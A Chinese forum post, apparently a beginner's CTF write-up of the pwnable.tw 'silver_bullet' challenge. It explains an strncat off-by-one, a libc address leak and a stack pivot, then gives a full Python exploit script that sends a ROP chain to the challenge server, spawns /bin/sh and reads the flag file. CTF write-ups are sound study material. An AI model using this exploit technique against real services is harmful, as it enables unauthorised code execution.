首页
社区
课程
招聘
[原创][pwn学习日记] pwnable.tw silver_bullet
2017-6-15 20:33 5514

[原创][pwn学习日记] pwnable.tw silver_bullet

2017-6-15 20:33
5514

新手学pwn,感觉做的很墨迹...

一.程序分析

先查看程序保护

 

然后进行反汇编


 

是经典的菜单类题目

 

简单来说程序的流程就是首先创建一颗银弹,然后可以提升银弹攻击力,直到可以打败狼人

 

接下来先看看我自定义的结构

 

然后就是3个函数

 


 

 

 

 

先找出溢出点

create_bullet

创建一颗银弹,输入的字符串长度就是银弹的攻击力,这里最大输入是0x30,看main函数的bullet定义缓冲区的大小就是0x30,所以没有溢出

power_up

输入一段字符串,与之前创建的银弹字符串连接,输入最大长度是0x30-之前银弹字符串长度,然后更新银弹字符串长度,乍一看没有溢出,不过strncat是在前一个字符串缓冲区的\x00处开始复制,然后复制结束后在下一字节添加\x00,这里如果两次输入的长度一共为0x30,就会造成off-by-one,溢出了一字节,然后这一字节刚好是覆盖了银弹字符串长度(攻击力),再次调用power_up就会造成溢出

beat

只要攻击力够高(这个溢出时很容易实现),就可以获取胜利并且main函数可以返回进而执行溢出内容

 

二.漏洞利用

因为power_up中限制银弹字符串长度最大为0x2f,为了使溢出的缓冲区尽量长,在创建银弹的时候输入0x2F个字符,然后第一次执行power_up的时候输入字符串长度为1,接下来溢出一字节到银弹长度里,然后更新银弹长度的时候0+1=1,所以在下一次调用power_up时最大允许我们溢出0x2F长度,但是这个长度不足我getshell,所以我这里还进行了栈迁移

1.泄漏地址

首先当然要获取system的地址,但是程序里没有引用,所以通过泄漏printf的地址得到libc的地址,获取加上system的偏移得到system的地址

2.栈迁移

溢出后栈中ebp是可控的,当执行了两次leave retnesp就为栈中的ebp,然后就可以把栈扔到数据段


 

因为bullet的内容在main全部清0,所以在第二次power_up输入的字符就会连接到银弹字符串长度的第二个字节处,输入内容如下


 

刚好0x2F字符以内,这里首先泄漏了printf的地址来计算system的地址,然后通过gadget1转到read_input_addr那里执行,目的是在新栈中写内容,在通过gadget2再执行一次leave retn到达新栈(gadget1 gadget2在程序中找到)

接下来新栈的内容就很简单了

 

至此getshell成功

 

import socket
import struct
HOST = 'chall.pwnable.tw'
PORT = 10103
s = socket.socket()
s.connect((HOST, PORT))
data = s.recv(1024).decode('ascii')
print(data)
data = s.recv(1024).decode('ascii')
print(data)
#创建银弹
payload ="1\n".encode('ascii')
s.sendall(payload)
data = s.recv(1024).decode('ascii')
print(data)
payload =("1"*0x2F+"\n").encode('ascii')
s.sendall(payload)
data = s.recv(1024).decode('ascii')
print(data)
data = s.recv(1024).decode('ascii')
print(data)
#溢出一字节
payload ="2\n".encode('ascii')
s.sendall(payload)
data = s.recv(1024).decode('ascii')
print(data)
payload =("1"*0x1+"\n").encode('ascii')
s.sendall(payload)
data = s.recv(1024).decode('ascii')
print(data)
data = s.recv(1024).decode('ascii')
print(data)
#覆盖返回地址  制造伪栈 泄漏printf地址
printf_plt=0x08048498
fmtstr_addr=0x08048BAB#: %s
gadget1_addr=0x08048472#add esp,0x8 pop ebx retn
gadget2_addr=0x08048A18#leave retn
printf_got=0x0804AFD4
fake_stack_addr=0x0804B410#地址尽量不要靠近数据段边缘,容易访问错误
ebp=fake_stack_addr
read_input_addr=0x080485EB
payload ="2\n".encode('ascii')
s.sendall(payload)
data = s.recv(1024).decode('ascii')
print(data)
payload =b"\xff"*0x3+\
	struct.pack("<I",ebp)+\
	struct.pack("<I",printf_plt)+\
	struct.pack("<I",gadget1_addr)+\
	struct.pack("<I",fmtstr_addr)+\
	struct.pack("<I",printf_got)+\
	b"A"*4+\
	struct.pack("<I",read_input_addr)+\
	struct.pack("<I",gadget2_addr)+\
	struct.pack("<I",fake_stack_addr)+\
	struct.pack("<I",0x01010101)+\
	b"\n"
s.sendall(payload)
data = s.recv(1024).decode('ascii')
print(data)
#赢得游戏并返回 在新栈写内容 获取printf地址
system_offset=0x0003A940 
printf_offset=0x00049020 
payload ="3\n".encode('ascii')
s.sendall(payload)
data = s.recv(1024).decode('ascii')
print(data)
data = s.recv(1024).decode('ascii')
print(data)
data = s.recv(1024).decode('ascii')
print(data)
data = s.recv(1024)
print(data)
printf_addr=struct.unpack("<I",data[11:15])[0]
print("printf_addr:"+hex(printf_addr))
system_addr=printf_addr-printf_offset+system_offset
print("system_addr:"+hex(system_addr))
ret_addr=0x01010101
payload=struct.pack("<I",ebp)+\
		struct.pack("<I",system_addr)+\
		struct.pack("<I",ret_addr)+\
		struct.pack("<I",fake_stack_addr+0x10)+\
		b"/bin/sh"+\
		b"\n"
s.sendall(payload)
payload="cat /home/silver_bullet/flag\n".encode('ascii')
s.sendall(payload)
data = s.recv(1024).decode('ascii')
print(data)
s.close()




阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回